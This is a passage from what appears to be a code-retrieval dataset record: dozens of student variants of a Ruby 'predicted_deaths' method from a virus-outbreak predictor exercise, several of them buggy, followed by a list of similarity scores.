50\n number_of_deaths = (@population * 0.1).floor\n else\n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\" end", "def predicted_deaths\n # predicted deaths is solely based on population density\n \n\n\n\n\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else\n number_of_deaths = (@population * 0.05).floor\n end\n\n\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths #(population_density, population, state)\n # predicted deaths is solely based on population density\n fractions = [0.4, 0.3, 0.2, 0.1, 0.05]\n density = [200, 150, 100, 50, 0]\n \n index = 0\n while index < density.length\n if @population_density >= density[index]\n number_of_deaths = (@population * fractions[index]).floor\n break\n end\n index += 1\n end\n \n # if @population_density >= density[0]\n # number_of_deaths = (@population * fractions[0]).floor\n # elsif @population_density >= density[1]\n # number_of_deaths = (@population * fractions[1]).floor\n # elsif @population_density >= density[2]\n # number_of_deaths = (@population * fractions[2].floor\n # elsif @population_density >= density[3]\n # number_of_deaths = (@population * fractions[3]).floor\n # else\n # number_of_deaths = (@population * fractions[4]).floor\n # end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths\n # predicted deaths is solely based on population density\n if @population_density >= 200\n multiplier = 0.4\n elsif @population_density >= 150\n multiplier = 0.3\n elsif @population_density >= 100\n multiplier = 0.2\n elsif @population_density >= 50\n multiplier = 0.1\n else\n multiplier = 0.05\n end\n number_of_deaths = (@population * multiplier).floor\n \n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths\n # predicted deaths is solely based on population density\n if @population_density >= 200\n factor = 0.4\n elsif @population_density >= 150\n factor = 0.3\n elsif @population_density >= 100\n factor = 0.2\n elsif @population_density >= 50\n factor = 0.1\n else\n factor = 0.05\n end\n\n number_of_deaths = (@population * factor).floor\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths\n # predicted deaths is solely based on population density\n if @population_density >= 200\n factor = 0.4\n elsif @population_density >= 150\n factor = 0.3\n elsif @population_density >= 100\n factor = 0.2\n elsif @population_density >= 50\n factor = 0.1\n else\n factor = 0.05\n end\n\n number_of_deaths = (@population * factor).floor\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths\r\n # predicted deaths is solely based on population density \r\n\r\n # multiplier when population density is less than 50\r\n multiplier = 0.05\r\n\r\n # sets new population density variable to have a mximum of 200\r\n max_pop = 200\r\n population_density_temp = [@population_density, max_pop].min\r\n \r\n multiplier = 0.1 * (population_density_temp / 50).floor if population_density_temp >= 50\r\n\r\n number_of_deaths = (@population * multiplier).floor\r\n\r\n\r\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\r\n\r\n end", "def predicted_deaths(population_density, population)\n # predicted deaths is solely based on population density\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else\n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths(population_density, population)\n # predicted deaths is solely based on population density\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else\n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths\n # predicted deaths is solely based on population density\n number_of_deaths = 0\n density_hash = {200 => 0.4, 150 => 0.3, 100 => 0.2, 50 => 0.1,0 => 0.05}\n density_hash.each_key { |key|\n if @population_density >= key\n number_of_deaths = (@population * density_hash[key]).floor\n end\n }\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths\n # predicted deaths is solely based on population density\n \n if @population_density >= 50\n multiplication_factor = (@population_density.fdiv(50)).floor.fdiv(10)\n # (density / 50), rounded down to int, then divided by 10\n # ex: 200 / 50 = 4, 4/10 = 0.4\n # ex: 185 / 50 = 3.7, rounded to 3, 3/10 = 0.3\n else # if population density < 50\n multiplication_factor = 0.05\n end\n \n \n \n number_of_deaths = (@population * multiplication_factor).floor\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths#(population_density, population, state)\n # predicted deaths is solely based on population density\n # if population_density >= 200\n # number_of_deaths = (population * 0.4).floor\n # elsif population_density >= 150\n # number_of_deaths = (population * 0.3).floor\n # elsif population_density >= 100\n # number_of_deaths = (population * 0.2).floor\n # elsif population_density >= 50\n # number_of_deaths = (population * 0.1).floor\n # else\n # number_of_deaths = (population * 0.05).floor\n # end\n pop_percentage = 0.0\n density_test = 50\n if population_density >= 50\n while population_density >= density_test do \n pop_percentage += 0.1\n density_test += 50\n end\n number_of_deaths = (population * pop_percentage).floor\n else\n number_of_deaths = (population * 0.05).floor\n end\n print \"#{state} will lose #{number_of_deaths} people in this outbreak\"\n end", "def predicted_deaths\n # predicted deaths is solely based on population density\n if @population_density >= 200\n deaths= 0.4\n elsif @population_density >= 150\n deaths= 0.3\n elsif @population_density >= 100\n deaths= 0.2\n elsif @population_density >= 50\n deaths= 0.1\n else\n deaths= 0.05\n end\n number_of_deaths = (@population * deaths).floor\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths\n # predicted deaths is solely based on population density\n case @population_density\n when 0..49\n multiplier_factor = 0.05\n when 50..99\n multiplier_factor = 0.1\n when 100..149\n multiplier_factor = 0.2\n when 150..199\n multiplier_factor = 0.3\n else\n multiplier_factor = 0.4\n end\n \n number_of_deaths = (@population * multiplier_factor).floor\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths\r\n # predicted deaths is solely based on population density\r\n case @population_density\r\n when @population_density >= 200 then number_of_deaths = (@population * 0.4).floor\r\n when @population_density >= 150 then number_of_deaths = (@population * 0.3).floor\r\n when @population_density >= 100 then number_of_deaths = (@population * 0.2).floor\r\n when @population_density >= 50 then number_of_deaths = (@population * 0.1).floor\r\n else number_of_deaths = (@population * 0.05).floor\r\n end\r\n\r\n print “#{@state} will lose #{number_of_deaths} people in this outbreak”\r\n\r\n end", "def predicted_deaths\n # predicted deaths is solely based on population density\n if @population_density >= 200\n multiplier = 0.4\n elsif @population_density >= 150\n multiplier = 0.3\n elsif @population_density >= 100\n multiplier = 0.2\n elsif @population_density >= 50\n multiplier = 0.1\n else\n multiplier = 0.05\n end\n\n number_of_deaths = (@population * multiplier).floor\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths\n # predicted deaths is solely based on population density\n if population_density >= 200\n num = 0.4\n elsif @population_density >= 150\n num = 0.3\n elsif @population_density >= 100\n num = 0.2\n elsif @population_density >= 50\n num = 0.1\n else\n num = 0.05\n end\n number_of_deaths = (@population * num).floor\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths\n # predicted deaths is solely based on population density\n if @population_density >= 200\n num = 0.4\n elsif @population_density >= 150\n num = 0.3\n elsif @population_density >= 100\n num = 0.2\n elsif @population_density >= 50\n num = 0.1\n else\n num = 0.05\n end\n\n number_of_deaths = (@population * num).floor\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths(population_density)\n # predicted deaths is solely based on population density\n \n pop = @population_density\n case pop \n when pop >= 200 \n number_of_deaths = (@population * 0.4).floor\n when pop >= 150 \n number_of_deaths = (@population * 0.3).floor\n when pop >= 100 \n number_of_deaths = (@population * 0.2).floor\n when pop >= 50 \n number_of_deaths = (@population * 0.1).floor \n else \n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths\n # predicted deaths is solely based on population density\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density < 200 && @population_density >= 50\n number_of_deaths = (@population * ((@population_density/50).floor*0.1)).floor\n else\n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths\n # predicted deaths is solely based on population density\n if @population_density >= 200\n factor = 0.4\n elsif @population_density >= 150\n factor = 0.3\n elsif @population_density >= 100\n factor = 0.2\n elsif @population_density >= 50\n factor = 0.1\n else\n factor = 0.05\n end\n\n number_of_deaths = (@population * factor).floor\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths #(population_density, population, state)\n # predicted deaths is solely based on population density\n\n #popd = [200, 150, 100, 50]\n #perc = [0.4, 0.3, 0.2, 0.1]\n\n #popd[i]\n\n if @population_density < 50\n number_of_deaths = (@population * 0.05)\n elsif @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n else @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths\n # predicted deaths is solely based on population density\n density = 200\n multiplier = 0.4\n until @population_density >= density\n if @population_density < 50\n return print \"#{@state} will lose #{(@population * 0.05).floor} people in this outbreak\"\n end\n density -= 50\n multiplier -= 0.1\n end\n number_of_deaths = (@population * multiplier).floor\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths\r\n # predicted deaths is solely based on population density\r\n if @population_density >= 200\r\n number_of_deaths = (@population * 0.4).floor\r\n elsif @population_density >= 150\r\n number_of_deaths = (@population * 0.3).floor\r\n elsif @population_density >= 100\r\n number_of_deaths = (@population * 0.2).floor\r\n elsif @population_density >= 50\r\n number_of_deaths = (@population * 0.1).floor\r\n else\r\n number_of_deaths = (@population * 0.05).floor\r\n end\r\n\r\n # number_of_deaths = @population * ((@population_density / 50).floor / 10)\r\n\r\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\r\n\r\n end", "def predicted_deaths #(population_density, population, state)\r\n # predicted deaths is solely based on population density\r\n # case @population_density\r\n # \twhen @population_density >= 200 then number_of_deaths = (@population * 0.4).floor\r\n # \twhen @population_density >= 150 then number_of_deaths = (@population * 0.3).floor\r\n # end\r\n \r\n if @population_density >= 200\r\n number_of_deaths = (@population * 0.4).floor\r\n elsif @population_density >= 150\r\n number_of_deaths = (@population * 0.3).floor\r\n elsif @population_density >= 100\r\n number_of_deaths = (@population * 0.2).floor\r\n elsif @population_density >= 50\r\n number_of_deaths = (@population * 0.1).floor\r\n else\r\n number_of_deaths = (@population * 0.05).floor\r\n end\r\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\r\n end", "def predicted_deaths\n case @population_density\n # predicted deaths is solely based on population density\n when @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n when @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n when @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n when @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else\n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths\r\n # predicted deaths is solely based on population density\r\n\r\n if @population_density >= 200\r\n multiplier = 0.4\r\n elsif @population_density >= 150\r\n multiplier = 0.3\r\n elsif @population_density >= 100\r\n multiplier = 0.2\r\n elsif @population_density >= 50\r\n multiplier = 0.1\r\n else\r\n multiplier = 0.05\r\n end\r\n\r\n number_of_deaths = (@population * multiplier).floor\r\n\r\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\r\n\r\n end", "def predicted_deaths\r\n # predicted deaths is solely based on population density\r\n number_of_deaths = case @population_density\r\n when 151...200 then (@population * 0.3).floor\r\n when 101...150 then (@population * 0.2).floor\r\n when 51...100 then (@population * 0.1).floor\r\n when 0...50 then (@population * 0.05).floor\r\n else (@population * 0.4).floor\r\n end \r\n\r\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\r\n\r\n end", "def predicted_deaths\n case\n when @population_density >= 200 then number_of_deaths = (@population * 0.4).floor\n when @population_density >= 150 then number_of_deaths = (@population * 0.3).floor\n when @population_density >= 100 then number_of_deaths = (@population * 0.2).floor\n when @population_density >= 50 then number_of_deaths = (@population * 0.1).floor\n else number_of_deaths = (@population * 0.05).floor\n end\n \n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths\r\n \r\n # predicted deaths is solely based on population density\r\n \r\n if @population_density >= 200\r\n n = 0.4\r\n\r\n elsif @population_density >= 150\r\n n = 0.3\r\n\r\n elsif @population_density >= 100\r\n n = 0.2\r\n\r\n elsif @population_density >= 50\r\n n = 0.1\r\n\r\n else\r\n n = 0.05\r\n\r\n end\r\n \r\n number_of_deaths = (@population * n).floor\r\n\r\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\r\n\r\n end", "def predicted_deaths\n # predicted deaths is solely based on population density\n @number_of_deaths = if @population_density >= 200\n (@population * 0.4).floor\n elsif @population_density >= 150\n (@population * 0.3).floor\n elsif @population_density >= 100\n (@population * 0.2).floor\n elsif @population_density >= 50\n (@population * 0.1).floor\n else\n (@population * 0.05).floor\n end\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n end", "def predicted_deaths\n # predicted deaths is solely based on population density\n\n number_of_deaths = case @population_density\n when 0..49 then (@population * 0.05).floor\n when 50..99 then (@population * 0.1).floor\n when 100..149 then (@population * 0.2).floor\n when 150..199 then (@population * 0.3).floor\n else (@population * 0.4).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths\n # predicted deaths is solely based on population density\n if @population_density >= 200\n \tdecimal = 0.4\n elsif @population_density >= 150\n \tdecimal = 0.3\n elsif @population_density >= 100\n \tdecimal = 0.2\n elsif @population_density >= 50\n \tdecimal = 0.1\n else\n \tdecimal = 0.05\n end\n\n number_of_deaths = (@population * decimal).floor\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths\n # predicted deaths is solely based on population density\n number_of_deaths = (@population * (@population_density/500)).floor\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths\n # predicted deaths is solely based on population density\n if @population_density >= 200\n percentage = 0.4\n elsif @population_density >= 150\n percentage = 0.3\n elsif @population_density >= 100\n percentage = 0.2\n elsif @population_density >= 50\n percentage = 0.1\n else\n percentage = 0.05\n end\n \n number_of_deaths = (@population * percentage).floor\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths\n # predicted deaths is solely based on population density\n case @population_density\n when 150..200 \n number_of_deaths = (@population * 0.4).floor\n when 100..149\n number_of_deaths = (@population * 0.3).floor\n when 99..50\n number_of_deaths = (@population * 0.1).floor\n else\n number_of_deaths = (@population * 0.05).floor\n end\n \n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths\n # predicted deaths is solely based on population density\n case @population_density\n when 150..200 \n number_of_deaths = (@population * 0.4).floor\n when 100..149\n number_of_deaths = (@population * 0.3).floor\n when 50..99\n number_of_deaths = (@population * 0.1).floor\n else\n number_of_deaths = (@population * 0.05).floor\n end\n \n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths\n # predicted deaths is solely based on population density\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n # elsif @population_density >= 150\n elsif @population_density >= 50 && @population_density < 200\n number_of_deaths = ((( @population_density / 50 ) / 10 ) * @population).floor \n # number_of_deaths = (@population * 0.3).floor\n # elsif @population_density >= 100\n # number_of_deaths = (@population * 0.2).floor\n # elsif @population_density >= 50\n # number_of_deaths = (@population * 0.1).floor\n else\n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths\n # predicted deaths is solely based on population density\n if population_density >= 200\n number_of_deaths = (population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else\n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths\n # predicted deaths is solely based on population density\n if @population_density >= 200\n x = 0.4\n elsif @population_density >= 150\n x = 0.3\n elsif @population_density >= 100\n x = 0.2\n elsif @population_density >= 50\n x = 0.1\n else\n x = 0.05\n end\n\n\tnumber_of_deaths = (@population * x).floor\n\t\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths\n # predicted deaths is solely based on population density\n if @population_density >= 200\n @decimal = 0.4\n elsif @population_density >= 150\n @decimal = 0.3\n elsif @population_density >= 100\n @decimal = 0.2\n elsif @population_density >= 50\n @decimal = 0.1\n else\n @decimal = 0.05\n end\n\n number_of_deaths = (@population * @decimal).floor\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths\n # predicted deaths is solely based on population density\n death_quotient = 1\n if @population_density >= 200\n death_quotient = 0.4\n elsif @population_density >= 150\n death_quotient = 0.3\n elsif @population_density >= 100\n death_quotient = 0.2\n elsif @population_density >= 50\n death_quotient = 0.1\n else\n death_quotient = 0.05\n end\n\n number_of_deaths = (@population * death_quotient).floor\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths\r\n # predicted deaths is solely based on population density \r\n if @population_density >= 200\r\n number_of_deaths = (@population * 0.4).floor\r\n elsif @population_density < 50\r\n number_of_deaths = (@population * 0.05).floor\r\n else\r\n increment = (@population_density/50).floor\r\n number_of_deaths=(@population * (increment * 0.1)).floor\r\n end\r\n\r\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\r\n\r\n end", "def predicted_deaths\n # predicted deaths is solely based on population density\n if @population_density >= 200\n factor = 0.4\n elsif @population_density >= 150\n factor = 0.3\n elsif @population_density >= 100\n factor = 0.2\n elsif @population_density >= 50\n factor = 0.1\n else\n factor = 0.05\n end\n number_of_deaths = (@population * factor).floor\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n end", "def predicted_deaths\n # predicted deaths is solely based on population density\n if population_density >= 200\n death_constant = 0.4\n elsif population_density >= 150\n death_constant = 0.3\n elsif population_density >= 100\n death_constant = 0.2\n elsif population_density >= 50\n death_constant = 0.1\n else\n death_constant = 0.05\n end\n\n number_of_deaths = (population * death_constant).floor\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths\n # predicted deaths is solely based on population density\n death_factor = case @population_density.floor\n when 0..49\n 0.05\n when 50..99\n 0.1\n when 100..149\n 0.2\n when 150..199\n 0.3\n else\n 0.4\n end\n number_of_deaths = (@population * death_factor).floor\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths\n # predicted deaths is solely based on population density\n \n if @population_density < 50\n \tnumber_of_deaths = (@population * 0.05).floor\n elsif @population_density < 100\n \tnumber_of_deaths = (@population * 0.1).floor\n elsif @population_density < 150\n \tnumber_of_deaths = (@population * 0.2).floor\n elsif @population_density < 200\n \tnumber_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 200\n \tnumber_of_deaths = (@population * 0.4).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths\n # predicted deaths is solely based on population density\n \n if @population_density >= 200\n death_multiplier = 0.4\n elsif @population_density >= 150\n death_multiplier = 0.3\n elsif @population_density >= 100\n death_multiplier = 0.2\n elsif @population_density >= 50\n death_multiplier = 0.1\n else\n death_multiplier = 0.05\n end\n\n number_of_deaths = (@population * death_multiplier).floor\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths\r\n # predicted deaths is solely based on population density\r\n if @population_density > 200\r\n number_of_deaths = (@population * 0.4).floor\r\n elsif @population_density <= 200 && @population_density >= 50\r\n number_of_deaths = @population * ((@population_density/50) * 0.1).floor\r\n else\r\n number_of_deaths = (@population * 0.05).floor\r\n end\r\n\r\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\r\n\r\n end" ]
[ "0.80558383", "0.80558383", "0.80558383", "0.80558383", "0.80558383", "0.80558383", "0.8053934", "0.8036161", "0.8025466", "0.8024912", "0.7996972", "0.79627085", "0.7949235", "0.7907591", "0.79051864", "0.7905018", "0.7899588", "0.7897426", "0.78958964", "0.78949034", "0.7884122", "0.7881394", "0.7881394", "0.7881394", "0.7881394", "0.7881394", "0.78658277", "0.7853126", "0.7852963", "0.7829668", "0.7827687", "0.78189987", "0.7794755", "0.77910364", "0.7788549", "0.778084", "0.7778638", "0.77702886", "0.7761457", "0.77369165", "0.77369165", "0.77357584", "0.7729874", "0.77270794", "0.7722428", "0.7717603", "0.7713358", "0.7713169", "0.77121264", "0.7700497", "0.7692972", "0.76924825", "0.7688894", "0.76739043", "0.76724243", "0.76647174", "0.76643926", "0.76643926", "0.7660177", "0.7657766", "0.7657766", "0.765625", "0.7655964", "0.7651967", "0.76385874", "0.7636185", "0.76324177", "0.7627301", "0.76198715", "0.7614317", "0.7613957", "0.76125985", "0.7610277", "0.76069874", "0.7605588", "0.7599018", "0.7598362", "0.7597882", "0.75959694", "0.7595555", "0.75947946", "0.7592484", "0.75863665", "0.7578918", "0.7577544", "0.757381", "0.7572289", "0.75713277", "0.7568542", "0.75676394", "0.7567398", "0.7566737", "0.7565663", "0.7563106", "0.75618833", "0.75598115", "0.755923", "0.7553566", "0.75533783", "0.75522494", "0.7549427" ]
0.0
-1
returns a printed report stating the speed of spread of the virus in each state base on the population density.
def speed_of_spread #in months # We are still perfecting our formula here. The speed is also affected # by additional factors we haven't added into this functionality. if @population_density >= 200 speed = 0.5 elsif @population_density >= 150 speed = 1 elsif @population_density >= 100 speed = 1.5 elsif @population_density >= 50 speed = 2 else speed = 2.5 end puts " and will spread across the state in #{speed} months.\n\n" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def report\r\n\r\n STATE_DATA.each do |key, value|\r\n\r\n initialize(key, value[:population_density], value[:population]) \r\n virus_effects\r\n end\r\n \r\n end", "def report\n STATE_DATA.each do |state, population_stats|\n state = VirusPredictor.new(state, population_stats[:population_density], population_stats[:population])\n state.virus_effects\n end\nend", "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n\n#we can remove this and have it print within virus_effects so that this method does one thing\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def speed_of_spread\n speed = 0.0\n density_hash = {200=> 0.5, 150=> 0.5, 100=> 1.5, 50=> 2, 0=> 2.5}\n density_hash.each do |key, value|\n if @population_density >= key\n speed += value\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n return\n end\n end\n end", "def report\n STATE_DATA.each do |state, population_info|\n state = VirusPredictor.new(state, population_info[:population_density], population_info[:population])\n state.virus_effects\n end\nend", "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = (@population_density * 0.01).round(2)\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n end", "def speed_of_spread \r\n #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n speed = case @population_density\r\n when 151...200 then 1.0\r\n when 101...150 then 1.5\r\n when 51...100 then 2.0\r\n when 0...50 then 2.5\r\n else 0.5\r\n end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "def report(states)\n states.each do | state, data |\n VirusPredictor.new(state, data[:population_density], data[:population]).virus_effects\n end\nend", "def speed_of_spread(population_density, state) #in months\n\n speed = 2.5 if @population_density < 50\n speed = 2 if @population_density >= 50\n speed = 1.5 if @population_density >= 100\n speed = 1 if @population_density >= 150\n speed = 0.5 if @population_density >= 200\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n if @population_density >= 200\n puts \" and will spread across the state in #{0.5} months.\\n\\n\"\n elsif @population_density >= 150\n puts \" and will spread across the state in #{1} months.\\n\\n\"\n elsif @population_density >= 100\n puts \" and will spread across the state in #{1.5} months.\\n\\n\"\n elsif @population_density >= 50\n puts \" and will spread across the state in #{2} months.\\n\\n\"\n else\n puts \" and will spread across the state in #{2.5} months.\\n\\n\"\n end\n\n end", "def speed_of_spread\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n case @population_density\r\n when 200..Float::INFINITY\r\n speed = 0.5\r\n when 150..199\r\n speed = 1\r\n when 100..149\r\n speed = 1.5\r\n when 50..99\r\n speed = 2\r\n else\r\n speed = 2.5\r\n end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "def speed_of_spread # REFACTOR\n speed = 0.0\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else \n speed += 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def speed_of_spread #(population_density, state) #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n ## Refactored for Release: 8\n if @population_density >= 200\n 0.5\n elsif @population_density >= 150\n 1\n elsif @population_density >= 100\n 1.5\n elsif @population_density >= 50\n 2\n else\n 2.5\n end\n\n # puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def speed_of_spread(population_density, state) #in months\n speed = 0.0\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else \n speed += 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def speed_of_spread(population_density, state) #in months\n speed = 0.0\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else \n speed += 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def speed_of_spread(population_density, state) #in months\n speed = 0.0\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else \n speed += 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def speed_of_spread(population_density, state) #in months\n speed = 0.0\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else \n speed += 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0 #this can be made into a class attribute allowing a getter\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n #Print method can be removed allowing information to be printed in the driver code\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def speed_of_spread \n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n\n \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def speed_of_spread #(population_density, state) #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n speed = 0.0\r\n if @population_density >= 200\r\n speed += 0.5\r\n elsif @population_density >= 150\r\n speed += 1\r\n elsif @population_density >= 100\r\n speed += 1.5\r\n elsif @population_density >= 50\r\n speed += 2\r\n else\r\n speed += 2.5\r\n end\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n end", "def speed_of_spread #(population_density, state) #in months\r\n # We are still perfecting 